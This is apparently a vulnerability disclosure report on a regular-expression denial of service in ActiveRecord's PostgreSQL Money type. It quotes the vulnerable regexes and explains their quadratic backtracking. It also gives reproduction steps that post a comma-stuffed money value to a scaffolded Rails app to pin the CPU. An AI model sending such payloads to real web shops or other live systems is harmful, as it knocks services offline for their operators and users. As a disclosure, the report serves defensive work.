Regular expression denial of service in ActiveRecord's PostgreSQL Money type

How it was found

Summary

Hello team! The regular expressions used in the Money type to convert strings like -$100,000.00 to 100000 have an execution time with a quadratic growth proportional to the length of the string.

Causing the denial of service requires very long strings but if the parameter is in a post body that won't be a problem.

Details

The regular expressions marked (1) and (2) in the following code are the vulnerable expressions

            case value
            when /^-?\D*[\d,]+\.\d{2}$/  # (1)
              value.gsub!(/[^-\d.]/, "")
            when /^-?\D*[\d.]+,\d{2}$/  # (2)
              value.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
            end

This code is invoked when Rails saves a user-input value in a Money field. If we look at the first expression, the problem comes from this bit \D*[\d,]+. It matches "not a number" 0 or more times and then "a number or a ," one or more times. The , can match both expressions so this is somewhat equivalent to ,*,+ as far as the attack is concerned and is where the O(n^2) execution time comes from.

Steps to reproduce

I'm going to assume PostgreSQL is installed and configured on the machine.

Now we'll install the PostgreSQL ruby interface, setup a rails application and scaffold a view for the attack.

gem install pg
rails new moneydos --database=postgresql
cd moneydos
rails db:setup
rails g scaffold Money amount:money
rake db:migrate

Now in the rails console run these commands. (The same could be accomplished though the UI, but this is simpler for reproduction purpose)

app.host = 'localhost'
app.get '/money'
token = app.session[:_csrf_token]
app.post '/money/', params: {money: {amount: ("$" + ","*100000 + ".11!")}, authenticity_token: token}

The last line takes 40 seconds to execute on my machine. Add a 0 to the ","*100000 part and the CPU will pretty much spin forever. An attacker could repeat those requests many times to reach full saturation of the host's CPU capabilities and achieve a complete denial of service.

Impact

Denial of service and 100% CPU usage in situations where a malicious user is able to input money amounts in a request body (web shops come to mind as the obvious target)